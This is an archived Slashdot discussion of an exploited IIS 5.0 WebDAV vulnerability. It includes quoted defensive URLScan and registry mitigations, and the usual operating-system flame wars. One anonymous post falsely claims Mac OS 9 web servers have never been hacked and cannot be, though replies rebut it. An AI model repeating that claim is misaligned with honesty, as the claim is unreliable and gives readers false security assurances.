      Isn't it true to say that ALL OSes are equally as vulnerable?

      Not exactly. Some OSs are more equally as vulnerable than others.

      --
      Slashdot: Failed Car Analogies. Amateur Lawyering. Anecdote Battles.
    3. Re:Its a bug...so what? by johnnyb · · Score: 1

      Now, I'm no anti-any OS, I like them all, but what about the latest Sendmail vuln?

      ****

      Most people who complain about Microsoft being crap also complain about Sendmail and Bind being crap as well. That includes me. That's why I run Postfix and let others handle DNS for me.

  19. Woo First Story published :) by rf0 · · Score: 1

    Yes I know my own comment is off topic and I've even switched off my Karma Bonus :)

    Rus

    1. Re:Woo First Story published :) by Anonymous Coward · · Score: 0

      Golly, I am so thrilled for you. It is also a further blessing that it was on St Patrick's Day/Gulf-War-II-eve and one day you can tell your grandchildren, "On the eve of war I got a story posted on Slashdot".

      You'll probably forget by that point what the story was about but you'll always get that warm feeling that it happened to you. A round of applause everyone...Huzzah!

  20. Oh Come On by Anonymous Coward · · Score: 0

    It's hardly news is it? It's not like "Oh! Another Microsoft security hole, bug surprise there!" kinda thing. It's like joining the beer a week club and then acting all surpised when you get a beer every week. Oh my! I joined the beer of the week club and I just got a beer! Astounding!

  21. CERT can save money... by huhmz · · Score: 4, Funny

    If CERT would just move their headquarters to the IIS devs room in redmond, that would probably save a lot of money for CERT. They should be a part of the regular IIS dev team.

    1. Re:CERT can save money... by linzeal · · Score: 1

      Imagine the nerf gun battles, they would be bloody and severe, msft would have to take out part of their huge parking lot for a memorial cemetary.

  22. Exploited by gmuslera · · Score: 1
    Where I work in the weekend someone hacked a web server with this, and just finished to check that was because something related with frontpage or dav when I saw this article. I was about to put on fire to the administrators of that server, but at least that was not entirely their fault.

    That could count as a really big argument against not disclosing vulnerabilities as soon as possible? I don't know since when Microsoft is aware of this and making the patch, but if it have time to be developed an exploit could had happen enough time yet. If administrators were aware of that problem at least they could have been disabled specially WebDAV, even if they don't have a fix, instead of waiting blindly that someone hacks them.

    1. Re:Exploited by Anonymous Coward · · Score: 0

      I don't know since when Microsoft is aware of this and making the patch, but if it have time to be developed an exploit could had happen enough time yet. If administrators were aware of that problem at least they could have been disabled specially WebDAV, even if they don't have a fix, instead of waiting blindly that someone hacks them.

      ISS knew about this at least as far back as Wednesday. The discovery came from exploited systems, nonetheless. Microsoft DOES have a workaround (for machines not yet/unable to be patched), but everyone decided to wait until the patch was out - leaving the world needlesly vulnerable for 5 days at minimum.

    2. Re:Exploited by jdkincad · · Score: 1
      Microsoft learned of the vulnerability after online hackers used the flaw to breach the security of a customer's Web servers last Wednesday
      Looks like "black hats" were the first to find this bug, at least according to C|NET.
      --
      The great advantage of having a reputation for being stupid: People are less suspicious of you.
  23. -1, Redundant...again...twice....another....zeesh. by L0stb0Y · · Score: 1

    I was going to make some smart-alek comment about "YET ANOTHER M$ security flaw", and how this entire story should be modded -1, redundant...

    But *sigh* no. That's too easy.

    Its sad, really. Just sad.

    I have some boxen to go exploit.

    --
    "We are the music makers, and we are the dreamers of dreams."
  24. did anyone read the microsoft bulletin... by Anonymous Coward · · Score: 5, Insightful

    It says near the bottom that IIS systems with URL scan which is part of the lockdown utility are not affected by this.

    Why would you run a IIS server without using the lockdown utility??

    We (large corporation) have been using IIS servers and without a problem. With Lockdown/urlscan there are no problems at all. The logs show people trying to get in but being rejected.

    I think this story is a bit overblown. It appears that most /.'s don't like microsoft and thats sad because microsoft is the driving company behind many many jobs. The arrival of windows pushed the last boom. No questions about that. Unix had been around for 20 yrs and no boom. Windows and the net and look at how things accelerated..why..because ma/pa people use windows..not *nix. Just the facts.

    cheers
    John

    1. Re:did anyone read the microsoft bulletin... by 1010011010 · · Score: 0, Flamebait

      Why would you run a IIS server without using the lockdown utility??

      You could have stopped with "Why would you run a IIS server?", but, yeah, you've got a point. If you're going to play with dynamite, wear a helmet.

      Windows and the net and look at how things accelerated..why..because ma/pa people use windows..not *nix. Just the facts.

      Say "hi" to Jim, Steve and Bill at your next staff meeting. Oh, and don't drink the kool-aid!

      --
      Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.
    2. Re:did anyone read the microsoft bulletin... by Xerithane · · Score: 1

      I think this story is a bit overblown. It appears that most /.'s don't like microsoft and thats sad because microsoft is the driving company behind many many jobs.

      Uhm, you do realize that this is Slashdot, right? Of course you do... you cite /. right there. I'm confused here. I feel like someone just told me the sky is blue.

      You are right though, Microsoft products can be secure. Just like Linux products can be insecure. The difference is in the default.

      --
      Dacels Jewelers can't be trusted.
    3. Re:did anyone read the microsoft bulletin... by ArmorFiend · · Score: 2, Insightful

      The arrival of windows pushed the last boom. No questions about that.

      Yeah, that's why the stock everyone was talking about in 1995 was netscape communications corp. The WEB was the last boom. No questions about that.

    4. Re:did anyone read the microsoft bulletin... by gad_zuki! · · Score: 1

      >Unix had been around for 20 yrs and no boom.

      The PC boom was dependant on the web/internet boom. Any OS can run a browser, it just happened that Microsoft was the de facto standard on the PC platform at the time.

      If you want to thank anyone for ushering the information age you can start with UIUC's NCSA and Tim Berners-Lee.

    5. Re:did anyone read the microsoft bulletin... by Zebbers · · Score: 1

      ummm, while i agree slashdot is slanted against microsoft, you can't say 'windows' pushed a boom. it pushed a new market, yes. but thats like claiming any invention that has widespread use caused the world to become something new. no shit, the product was new. unix didnt have desktop use, no. but who the hell do you think has been running the corporate machines the past 30 years? who do you think is still relied upon for the real important data crunching. it aint win2k thats for sure. dont confuse a new market (pcs) with microsoft doing some remarkable thing.

      and christ. microsoft employs people. so does fucking coke. they provide a product. i would not say microsofts products cause any increase in employment in america. except maybe tech support ;)

      and giving microsoft credit for anything to do with the net is downright stupid. they are independent. microsoft just happens to be the monopoly residing on peoples home machines. mac people g0t online too.

      you have no causal link for any of the shit you spewed out. and thats whats really sad.

    6. Re:did anyone read the microsoft bulletin... by CmdrSanity · · Score: 1

      I'm not sure if MS has fixed this yet or not, but one reason to run IIS w\o URLScan is that URLscan breaks VS.NET debugging. Clearly, the vast majority of people should run IIS using URLScan, but developers need access to the debugger.

    7. Re:did anyone read the microsoft bulletin... by Anonymous Coward · · Score: 0

      since when are linux products secure by default?

      it's just as easy -- if not more -- to fuck up configuring, say, apache/perl/mysql than it is with iis/asp/access if you don't know what you're doing.

    8. Re:did anyone read the microsoft bulletin... by Watcher · · Score: 2, Interesting

      Why would you run a IIS server without using the lockdown utility??

      Good point. However, my company advises our clients against running it, mainly because their sysadmins are...not well versed in the arts of running a windows web server. The default configuration for the lockdown tool shuts down everything except for HTML. That includes the ASP engine, which our product requires. If the sysadmin spends a few minutes to go through the list of what to disable and what not to, they're fine.

      Sadly, our clients just blindly run it and then panic when the whole site ceases functioning. Usually they delete the lockdown tool (instead of reversing the changes, which you would know you could do if you read the documentation-they don't), and then call us and claim "It just stopped working! We didn't change anything!". A little later, we find out what they really did and fix things. In the end, we've found its better to just tell them to disable what they don't need by hand based upon documentation we provide, and avoid the whole problem with the lockdown tool.

    9. Re:did anyone read the microsoft bulletin... by jazman_777 · · Score: 1
      It appears that most /.'s don't like microsoft and thats sad because microsoft is the driving company behind many many jobs.

      It appears that many people don't like the IRS and that's sad because the IRS is the driving force behind many many _many_ jobs.

      --
      Slashdot: Failed Car Analogies. Amateur Lawyering. Anecdote Battles.
    10. Re:did anyone read the microsoft bulletin... by Anonymous Coward · · Score: 0

      To reply to the claim about urlscan and debugging. We develop software at our company and urlscan has not interferred with debugging and we do use .NET and do debug our applications. Could you please clarify how this occurs.

      Further, the person who stated that windows didnt drive the latest boom is incorrect. Everyone and their mother bought machines which had windows. Windows enabled those ma/pa people to order from amazon, ebay, online flowers, and a gazillion of other things. Not unix, not mac, not linux but windows. You can rationalize all you want about how evil microsoft is but the point is they created a product which enabled many people to access services online. Thus being able to access services online drove the boom and at the foundation was windows based computers in ma/pa's home. Just the facts.

      cheers
      John

    11. Re:did anyone read the microsoft bulletin... by Cyno · · Score: 1

      thats sad because microsoft is the driving company behind many many jobs.

      I think its many many jobs and many many ignorant users that are the driving force behind microsoft.

    12. Re:did anyone read the microsoft bulletin... by CmdrSanity · · Score: 1

      If you check out the link I provided you can get more info, but basically the problem occurs when you have both URLScan and IIS Lockdown installed. Lockdown enters some settings into URLScan which make it block the VS.net debugger. You can fix this by hand-editing some of the URLScan configuration files, but it is annoying because there is no warning that the config files will be changed. This is a widely known problem so try googling for it if you need more info.

    13. Re:did anyone read the microsoft bulletin... by Anonymous Coward · · Score: 0
      Sigh. I work with Windows 2000 (I'd prefer not to, but that's another story.) I have installed the IIS Lockdown tool. It explicitely lists, as part of the installation, various configurations that you can select. One of them leaves ASP alone.

      I would suggest you are doing your clients a disservice. Tell them to run the lockdown agent, but to select the ASP profile, not the default profile, during the install.

    14. Re:did anyone read the microsoft bulletin... by Watcher · · Score: 1

      We tried that. Every time, with only one exception, they failed to follow the directions, exacerbated the situation, lied to us, and in the end resulted in several hours of down time.

      Its a very difficult battle, compounded by the fact that many of us don't want to sell them our server hosting services because the system administrators don't want to do more than the bare minium, and lean on the developers for anything more complicated than basic system installation and maintenance. Oh, and should I mention that routinely screw the servers up and lie to us? The best part is their boss is employee of the year. Gotta love it around here.

      Normally, I would never make the recommendation to a system administrator not to run the lockdown tool, but a lot of our clients are folks who were put into the job of sys admin because noone else in the financial institution wanted it. A lot of these people earn barely above minimum wage, and are not competent for the job.

      I'm not apologizing for my employer's decisions, just explaining them. It is for this, and many other reasons, I would never put my money in the hands of any of our clients.

    15. Re:did anyone read the microsoft bulletin... by Anonymous Coward · · Score: 0
      It appears that most /.'s don't like microsoft and thats sad because microsoft is the driving company behind many many jobs. The arrival of windows pushed the last boom. No questions about that. Unix had been around for 20 yrs and no boom.

      There are over 2 million Americans in prison, most of them for victimless crime. It appears that most /.'s don't like laws against victimless crime and thats sad because victimless crime is the driving force behind many many jobs in the prison industry. The arrival of the war against drugs pushed the last boom. No questions about that. Freedom had been around much longer before that and no boom.

    16. Re:did anyone read the microsoft bulletin... by Anonymous Coward · · Score: 0
      The arrival of windows pushed the last boom. No questions about that. Unix had been around for 20 yrs and no boom.
      30 years, and I would say it did cause a boom. It was the first portable operating system. It gave us the de facto systems programming language, C. And what are the de facto network protocols all based on? BSD UNIX.
  25. What aspects of URLScan provide protection by mattsouthworth · · Score: 4, Interesting

    I've asked this everywhere, maybe someone will answer.

    The MS advisory states that a 'default' URLScan will protect against this. Well ... We don't run the default config. We've customized it, as have many shops. I can't find information on _which_ aspects of URLScan provide the protection - I'd like to know if our customizations have left us out in the breeze.

    Anyone know?

    1. Re:What aspects of URLScan provide protection by mattsouthworth · · Score: 5, Informative

      A-ha! More info posted to NTBugtraq (after my original posting..)

      Quote:
      Just to clarify, Microsoft's bulletin states that this vulnerability
      could have been prevented using URLScan and/or IISLockdown, but it
      isn't really specific on how to do this. Several people have asked me
      how this can be done.

      The following steps can be used to block the attack:

      1. Completely disable WebDAV by setting the
      HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\ Param eters\DisableWebDAV
      registry key to 1

      2. Limit the length of requests (the url and any headers) by setting
      the HKLM\SYSTEM\CurrentControlSet\Services\w3svc\param eters
      MaxClientRequestBuffer to something like 16k

      3. Block the following WebDAV HTTP verbs using URLScan (either by
      specifically blocking them or by not listing them as allowed):
      OPTIONS, PROPFIND, PROPPATCH, MKCOL, DELETE, PUT, COPY, MOVE, LOCK,
      UNLOCK, OPTIONS, and SEARCH. Note that FrontPage does require the
      OPTIONS method to work properly.

      4. Block the following WebDAV-related headers using the [DenyHeaders]
      section of URLScan.ini:
      [DenyHeaders]
      DAV:
      Depth:
      Destina tion:
      If:
      Label:
      Lock-Token:
      Overwrite:
      TimeO ut:
      TimeType:
      DAVTimeOutVal:
      Other:

      5. If you require WebDAV, you can limit the
      length of each individual header with these entries in the
      [RequestLimits] section (The exact values are obviously pretty
      generic and may need to be increased or decreased based on your
      particular configuration):
      [RequestLimits]
      Max-DAV=250
      Max -Depth=250
      Max-Destination=250
      Max-If=250
      Max-L abel=250
      Max-Lock-Token=250
      Max-Overwrite=250
      M ax-TimeOut=250
      Max-TimeType=250
      Max-DAVTimeOutVa l=250
      Max-Other=250

      Microsoft does not specifically state which HTTP Verb and/or header
      is affected, but it does say that it is related to WebDAV. I would
      therefore assume that setting ACLs on httpext.dll would still be
      effective in blocking the attack. The PUT and DELETE methods are
      still available in IIS, but only as part of the original HTTP spec,
      not part of WebDAV.

      Mark Burnett
      www.iissecurity.info

  26. Exploited! by DarkHelmet · · Score: 4, Funny
    Microsoft says that this is already being exploited, at the very least since last Wednesday.

    And I thought that Penguin on the Microsoft home page looked at little out of place.

    --
    /^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$/i
  27. Download patches? by Black+Parrot · · Score: 1


    Why would anyone need to download patches for a Microsoft product? I've been getting about 5 in the mail every day lately.

    --
    Sheesh, evil *and* a jerk. -- Jade
  28. Don't be! by FreeLinux · · Score: 4, Insightful

    The exploit has been in the wild since last Wednesday. Microsoft has known about it since that time. Five days to a patch is really good for Microsoft but, the last Apache bug was fixed on the day of discovery, long before any exploits appeared.

  29. Nope by Acidic_Diarrhea · · Score: 1
    "Isn't it true to say that ALL OSes are equally as vulnerable?"
    Not exactly. There are many factors which influence how vulnerable a given OS is. [Ignoring the fact that the bug is a bug within IIS, not an OS.] Installed user base plays a big role in how vulnerable a piece of software is. For instance, when was the last time you heard about a BeOS or MS-DOS 4.0 exploit? This is because people need to be actively using the systems in order to have them exploited. Another factor that plays a role is the development process in place at the company who develops the software. Code reviews can and do help to avoid bugs. Software has bugs - the goal is to reduce them. For instance, a CMM level 5 company is much better prepared to write bug-free software than a CMM level 2 company. These factors make the equality you suggest false.
    --
    I hate liberals. If you are a liberal, do not reply.
    1. Re:Nope by kableh · · Score: 2, Insightful
      [Ignoring the fact that the bug is a bug within IIS, not an OS.]

      Perhaps, but IIS runs within kernel space, which is why a remote exploit is always a big deal. Apache may be a bit slower, but runs in user space and thus a remote exploit is less dangerous. So you're right, all OSes/apps aren't equally as vulnerable, but IIS is pretty fucking vulnerable.
    2. Re:Nope by ipjohnson · · Score: 1

      Don't be to impressed with Level 5 you still have the same set of morons ... there is jst more process and more hoops to jump through before it gets out the door.

      And Yes I at a level 5 facility and on a level 5 project ;-)

    3. Re:Nope by Anonymous Coward · · Score: 2, Informative

      IIS runs in kernel space? What are you smoking? IIS runs in usermode, however, it runs as local system, which gives you admin rights. This is being changed in IIS6 though, which will allow you to run IIS as a lower-privledged user.

    4. Re:Nope by Acidic_Diarrhea · · Score: 1
      More hoops for morons to jump through = better chance for the morons not to jump through them and therefore lose their job.

      More hoops for morons to jump through = better chance that some of the non-morons will catch the morons at their work.

      Furthermore, there is a difference between "to" and "too".

      --
      I hate liberals. If you are a liberal, do not reply.
    5. Re:Nope by Ano123 · · Score: 1

      IIS6 do install some kind of "driver" which work as a switch, it will run in kernel space and redirect requests to either the rest of IIS or "plugins".

    6. Re:Nope by stratjakt · · Score: 1

      The latest linux kernels have http acceleration built in to the kernel, which at least partially has apache ceding serving of static pages to a kernel function.

      So you're right. Running a webserver in kernel space sure is a monumentally stupid idea.

      I mean your wrong because linux is doing it.

      I mean your right because microsoft is doing it.

      I mean

      OMG its the singularity.

      OS's are just tools. So are people who obsess over them.

      --
      I don't need no instructions to know how to rock!!!!
    7. Re:Nope by Anonymous Coward · · Score: 0

      What the fuck??

    8. Re:Nope by uncleFester · · Score: 1

      Apache may be a bit slower, but runs in user space and thus a remote exploit is less dangerous.

      This depends on if the web admin was smart enough to change the User and Group directives to something other than root (I believe they're default to nobody). Don't simply assume running fully in userspace is safer; it is still up to the admin to use the provided features properly.

      -'f

      --
      -'fester
    9. Re:Nope by kableh · · Score: 2, Interesting

      Agreed, yada yada yada.

      Granted, I've more experience with Apache than IIS, so if my post was in error its certainly understandable. That was my understanding from previous IIS vs. Apache tests, was that part of IIS ran in kernel mode to serve pages faster, and that was one reason many remote exploits were so serious.

      Regardless, we have 2 IIS servers here at work, that are accessible to the Internet, and that has never been a problem. We keep them up to date, run the lockdown tool, so on. It really isn't too difficult to keep secure. Same goes for Apache.

    10. Re:Nope by Lukey+Boy · · Score: 1

      The kernel webserver is a very optional module, and I don't think a single distribution ships kernels with it enabled. With IIS, you don't have the choice.

    11. Re:Nope by Johnno74 · · Score: 1

      WRONG. FFS, read the parent of the post you are replying to. IIS DOES NOT RUN IN KERNEL SPACE.

      Although this is really just a technicality, since it does run as LocalSystem - the unix equivalent of root, but without any network access.

      as the parent's parent said, IIS 6 can be run as a completely unpriveledged user. The way it should have been from the start...

    12. Re:Nope by Lukey+Boy · · Score: 1
      That's up for debate. If IIS requires iexplore.exe to be loaded for it's own operation, and iexplore.exe has it's claws into kernel space, than doesn't IIS use kernel space?

      You can run IIS6 as "nobody", but try running it without Internet Explorer installed.

    13. Re:Nope by KingDaveRa · · Score: 1
      I'm the other way around - I know more about IIS than Apache, but I do work with both. Apache running on a Linux box scares me slightly because I personally don't know 100% how to totally secure it. I just have never researched it properly. From the outset, IIS seems much more simple to secure.

      On the other hand, a vulnerability in code is a serious issue, and it does worry me. In my case, I look after a public IIS server, hosting the pages for the Uni I work at - its a good target, so I want it secure.

    14. Re:Nope by kableh · · Score: 1

      Understandable, I suppose, though Apache comes with pretty safe defaults these days, run as an unprivileged user, and permissions are sane.

      Even so, I'm no IIS expert, but just keeping up to date via Windows Update, and watching Buqtraq, CERT, the standard lists, gives me more than enough info to keep our ISS boxen locked down.

      Ug, now if only the responses telling me I'm a jackass weren't so vitriolic...

    15. Re:Nope by kableh · · Score: 1

      I'm well aware of Tux. My understanding, based on previous Apache vs. IIS articles, was that IIS had an edge in speed because parts of it ran in kernel mode, and that this was the reason remote exploits were so common in it.

      If you read my other posts, I admin a couple of IIS servers at work, and we've never had one comprimised. Staying up to date is easy enough, but that is the key, staying up to date =)

  30. timely patches by boarder · · Score: 1, Interesting

    I think one critical issue with the timings of patch releases is stated right up there in the post: exploits are already out and about... for 3 days!

    I'm not bashing either side because *nix has its security issues, too; but last time I saw an exploit with Linux, there was a patch well before any known exploits. I'm not saying the patches to Linux were made before the bug was made public, just that they were available before the bug was exploited.

    If there is some cracker out there that has found this bug, then I'm sure there is a security expert that has also found and reported it. Code Red, IIRC, could've been stopped by a fix available 6 months earlier.

    Of course, I'm not in any way a security expert or even amateur, and I'm not a server admin, nor did I RTFA.

    --
    IANAL, but I play one on /.
  31. Windows XP? by Anonymous Coward · · Score: 1, Interesting

    Does this affect Windows XP Home/Pro in any way? The patch doesn't seem to apply to XP, but does the vulnerability?

    1. Re:Windows XP? by spanky1 · · Score: 3, Informative

      XP Home: No because it doesn't include IIS. XP Pro: Probably not because IIS is not installed by default. Plus this only appears to affect IIS 5.0.

    2. Re:Windows XP? by Anonymous Coward · · Score: 0

      exactly. I have iis installed on winxp pro and as far as i can tell, it is version 5.1 if they didn't know about this exploitation in 5.0 until now, wouldn't it logically follow that the same problem is in 5.1? or is there just that little amount of communication in Microsoft? I wouldn't be suprised, it is Microsoft...
      (Mmm... Microsoft Bashing...)

    3. Re:Windows XP? by Anonymous Coward · · Score: 0

      No. The exploit is a buffer overflow, which is more a quirk in the compilation of the product than anything else. Changing even compiling options between versions could, in theory, make the hole non-existant.

    4. Re:Windows XP? by Yankovic · · Score: 1

      No.

      According to the patch notification (here), it affects only IIS 5.0, and XP runs IIS 5.1

    5. Re:Windows XP? by Bedouin+X · · Score: 1

      Ummmm... IIS is not installed by default on Win2K Pro either.

      --
      Dissolve... Resolve... Evolve...
    6. Re:Windows XP? by Bedouin+X · · Score: 1

      No it isn't. I've installed it (Win2K Pro) at least 50 times over the past couple of years. If you keep all of the defaults it will not get installed.

      --
      Dissolve... Resolve... Evolve...
  32. Glad to see they noticed it by Anonymous Coward · · Score: 2, Interesting

    At least the noticed that an exploit exists. Sure, it may take a little while to make a patch, but at least there will be a fix soon. Hopefully, this should increase the overall security of IIS, which would of course be a good thing.

    Why, you may ask, would it be good for one of Apache's competitors to be less buggy (assuming you are arguing from a pro-open source standpoint)? This gives Apache competition. The more competition it has, the more incentive many of its developers will have to improve it. The quality of webservers will raise slightly.

    The improvement of IIS is also a good thing for buisnesses that rely on it because of ASP. Perhaps they wish to move to Apache, but cannot because of their language of choice for development on their webserver. Should they be more vulnerable to hacker attacks, just because of their choice of language? No.

    The conflict between Apache and IIS is generally a good thing.

    1. Re:Glad to see they noticed it by Anonymous Coward · · Score: 0

      There is no conflict between Apache and IIS: IIS isn't worth the Apache project's notice. :)

  33. If it were that easy... by UnanimousCoward · · Score: 1

    Because of the lack of WebDAV protocol standards, I have never been able to make the redirector capabilities of WinXP work correctly for several supposedly WebDAV-enabled sites. Because of this shortcoming, your SMB-replacement argument also breaks down.

    --
    Twelve-and-three-quarter inches. Unyielding. This wand belonged to Bellatrix Lestrange.
    1. Re:If it were that easy... by marick · · Score: 1

      Uh...

      Have you tried it with a professionally developed WebDAV server? Get yourself a free account at http://www.sharemation.com and give it a try. You can even write to support@xythos.com if it doesn't work for you (NOTE: it has always worked for me).

    2. Re:If it were that easy... by UnanimousCoward · · Score: 1

      I'm not arguing that there professionally-developed WebDAV servers that work or don't work. I'm talking about specific services that exist that claim to be WebDAV-enabled. You might say, "then use a different service," but that is not an option for me. Same thing with trying xythos in conjunction with these services.

      (Wish your email was public so that I didn't have to carry this conversation as part of the thread)

      --
      Twelve-and-three-quarter inches. Unyielding. This wand belonged to Bellatrix Lestrange.
    3. Re:If it were that easy... by marick · · Score: 1

      Ah, I see the problem now. Yes, I suspect there are some servers out there that don't test as much as we do. We definitely had to work-around some issues with the XP connector.

      As for writing to me directly, you could try my account name @xythos.com

  34. There are UNEXPLOITABLE web servers - MacOS ! by Anonymous Coward · · Score: 1, Informative

    I think its ironic that with every remote security hole and exploit, including the few that affect a majority of BSD installations, no one is addressing the fact that there are more secure platforms for webserving. Instead of focusing on the porous unix/linux offerings, or MS weaknesses, such as this recent WebDAV IIS 5.

    It is a concrete fact that that no MacOS based webserver has ever been hacked into in the history of the internet.

    The MacOS running WebStar and other webservers as has never been exploited or defaced, and are are unbreakable based on historical evidence.

    In fact in the entire SecurityFocus (BugTraq) database history there has never been a Mac exploited over the internet remotely.

    That is why the US Army gave up on MS IIS and got a Mac for a web server.

    I am not talking about FreeBSD derived MacOS X (which already had a more than a 32 exploits and potential exploits ) I am talking about current Mac OS 9.x and earlier. Apples Mac OS 9.2.2 is latest and came out rhis last summer. According to Google HTTP requests, Mac OS 9 users outnumber Mac OS X almost 9 to 1. Luckily for them they are all secure.

    Why is is hack proof? These reasons :

    1> No command shell. No shell means no way to hook or intercept the flow of control with many various shell oriented tricks found in Unix or NT. Apple uses an object model for process to process communication that is heavily typed and "pipe-less"

    2> No Root user. All Mac developers know their code is always running at root. Nothing is higher (except undocumented microkernel stuff where you pass Gary Davidians birthday into certain registers and make a special call). By always being root there is no false sense of security, and programming is done carefully.

    3> Pascal strings. ANSI C Strings are the number one way people exploit Linux and Wintel boxes. The Mac avoids C strings historically in most of all of its OS. In fact even its ROMs originally used Pascal strings. As you know Pascal strings (length prefixed) are faster than C (because they have the length delimiter in the front and do not have to endlessly hunt for NULL), but the side effect is less buffer exploits. Individual 3rd party products may use C stings and bind to ANSI libraries, but many do not. In case you are not aware of what a "pascal string" is, it usually has no null byte terminator.

    4> Macs running Webstar have ability to only run CGI placed in correct directory location and correctly file "typed" (not mere file name extension). File types on Macs are not easily settable by users, especially remotely. Apache as you know has had many problems in earlier years preventing wayward execution.

    5> Macs never run code ever merely based on how a file is named. ".exe" suffixes mean nothing! For example the file type is 4 characters of user-invisible attributes, along with many other invisible attributes, but these 4 bytes cannot be set by most tool oriented utilities that work with data files. For example file copy utilities preserve launchable file-types, but JPEG MPEG HTML TXT etc oriented tools are physically incapable by design of creating an executable file. The file type is not set to executable for hte hackers needs. In fact its even more secure than that. A mac cannot run a program unless it has TWO files. The second file is an invisible file associated with the data fork file and is called a resource fork. EVERY mac program has a resource fork file containing launch information. It needs to be present. Typically JPEG, HTML, MPEG, TXT, ZIP, C, etc are merely data files and lack resource fork files, and even if the y had them they would lack launch information. but the best part is that mac web programs and server tools do not create files with resource forks usually. TOTAL security.

    4> Stack return address positioned in safer location than some intel Osses. Buffer exploits take advantage of loser programmers lack of string length checking and clobber the return address to run

    1. Re:There are UNEXPLOITABLE web servers - MacOS ! by Anonymous Coward · · Score: 1, Funny

      Can't exploit what can't stay up!

    2. Re:There are UNEXPLOITABLE web servers - MacOS ! by Anonymous Coward · · Score: 0

      Well, that was some drivel.

      Almost coherent! Congratulations.

      Could you provide some references when you state your "facts" please? ('some huge high performance sites', all your military stuff, etc)

      Oh, and posting the address of some unknown guy in passing was great, too!

      I'm sure the "linux fanatic" will appreciate it.

      Other than that, great post!

      (Ironic doesn't mean what you think it means!)

    3. Re:There are UNEXPLOITABLE web servers - MacOS ! by HBI · · Score: 5, Insightful

      It is a concrete fact that that no MacOS based webserver has ever been hacked into in the history of the internet.

      The MacOS running WebStar and other webservers as has never been exploited or defaced, and are are unbreakable based on historical evidence.

      Okay, this is ludicrous. I ran Webster and other macintosh web servers in the 94-96 time range for a significant test prep company in NYC. They are just as insecure as any other web servers. The insecurity comes from the CGIs, not the static content. But who cares...programmer level or system level insecurity has the same result.

      The claim is false - i've done this myself to prove a point.

      Why is is hack proof? These reasons :

      1> No command shell. No shell means no way to hook or intercept the flow of control with many various shell oriented tricks found in Unix or NT. Apple uses an object model for process to process communication that is heavily typed and "pipe-less"

      Sure, Pre-OSX Macs have no CLI really, but does it make a difference if you can disable, DoS or take control of the system, even? Sure, they are configuration mistakes. You can make those with Apache/*nix or IIS/win32 too. I've seen Timbuktu installed with no firewalling and simple plaintext password protection of the most trivial kind. I've seen CGIs that allow system control of various sorts, put in place by the same type of people who love the ease of use of macintoshes. Security?

      2> No Root user. All Mac developers know their code is always running at root. Nothing is higher (except undocumented microkernel stuff where you pass Gary Davidians birthday into certain registers and make a special call). By always being root there is no false sense of security, and programming is done carefully.

      Sure, all Macintosh programming is done carefully as a result.

      By your estimation, access controls are a complete waste. I'm sorry, this doesn't hold much water. I could use the same argument to state that Wintel boxes are better web servers. We all know how that pans out.

      If all Macintosh programming was so excellent, those Type 1 errors where you have no choice but to restart would be a thing of the past, right? I still see them. Though I have to admit the car crash sound is better than a blue screen.

      3> Pascal strings. ANSI C Strings are the number one way people exploit Linux and Wintel boxes. The Mac avoids C strings historically in most of all of its OS. In fact even its ROMs originally used Pascal strings. As you know Pascal strings (length prefixed) are faster than C (because they have the length delimiter in the front and do not have to endlessly hunt for NULL), but the side effect is less buffer exploits. Individual 3rd party products may use C stings and bind to ANSI libraries, but many do not. In case you are not aware of what a "pascal string" is, it usually has no null byte terminator.

      Pascal strings have a single length byte and can't handle anything longer than 255 characters. Many http requests are going to be longer than that. Obviously, Webster and other Mac web servers aren't using those for everything, though admittedly the system calls require them in many cases. Your argument about this preventing buffer overflows is not very convincing as a result.

      #4 must be a new feature because you could do just about anything cgi-wise with a macintosh in my days of futzing with them. Swiss cheese.

      #5 - Applescript. Many CGIs used to use those as a control interface and obviously resource protections don't apply. They probably still do...

      #6 - I fail to see how the Mac's zoned memory structure is any more protective than the hardware segmented memory protection of Intel (see Type 1 errors above), stack return addresses be damned. I'd be interested in any proof of this.

      That is why the US Army gave up on MS IIS and got a Mac for a web server.

      Not at this bas

      --
      HBI's Law: Frequency of calling others Nazis is directly correlated with the likelihood of the accuser being Communist.
    4. Re:There are UNEXPLOITABLE web servers - MacOS ! by expro · · Score: 3, Interesting

      I am feeding trolls today.

      Exploits would be related to the percentage of the web actually using the platform, the number of expansive web software systems available for the platform (if you run Apache, for example, all the same exploits would apply, etc.).

      No command shell... My toaster has no command shell, either, and it has never been hacked, so it must be right. Of course, it might be a function of how many useful things you can do with it.

      No Root user... What a novel concept. I get it, just throw away all the security model, and then the problems don't qualify as security problems anyway. Pesky security machanisms were just distracting us. Real climbers never use safety ropes, because they just get in the way and cause a false sense of security!

      Pascal strings... I have certainly spent many years working with non-null-terminated strings that used a count. It is irrelevant to buffer overflows whether the size is by delimiter or by pre-count. It is a matter of whether the program (or automatic string class) checks to see if the static buffer has room for the new string based upon the sizes of the source strings. I have seen plenty of buffer overflows with counted strings for exactly the same reasons they occur in null-terminated strings.

      Macs running Webstar have ability to only run CGI placed in correct directory location and correctly file "typed"...Macs never run code ever merely based on how a file is named. ".exe" suffixes mean nothing! That explains why Macs were not vulnerable to the Word Macro exploits and a variety of other exploits -- oops, they were. Then, perhaps it is just a matter of how popular a platform it is. Let's see, no interesting modern Web Server configurations run on it, so no one uses it, and no one exploits it. A little like my daughter's TI-83, no web exploits against that, either, but it does not support the types of web aplications I want or a reasonable number of users. But no one would bother to write an exploit for it!

    5. Re:There are UNEXPLOITABLE web servers - MacOS ! by kindbud · · Score: 1

      You forgot reason #9:

      Nobody serves anything important from a Mac.

      But some huge high performance sites use load-balancing webstar.

      Name it, or be seen by everyone here as one who blows hot air.

      Regardless, no mac has ever been rooted in history of the internet, except with a strange 3rd party tool in 1995.

      So basically, you're saying no Mac has ever been hacked, except for the ones that were hacked.

      Uhh... right.

      --
      Edith Keeler Must Die
    6. Re:There are UNEXPLOITABLE web servers - MacOS ! by morgajel · · Score: 1

      Welcome to slashdot.
      please watch your step for dupes and please don't feed the trolls.

      Thank you and enjoy your stay:)

      on a more serious note- this guys is just like the bsd is dying troll.

      --
      Looking for Book Reviews? Check out Literary Escapism.
    7. Re:There are UNEXPLOITABLE web servers - MacOS ! by darekana · · Score: 1

      maybe that was the standard cutnpaste troll response...

    8. Re:There are UNEXPLOITABLE web servers - MacOS ! by Anonymous Coward · · Score: 0

      In other news, no rust-colored Trabi's were stolen in the same period.

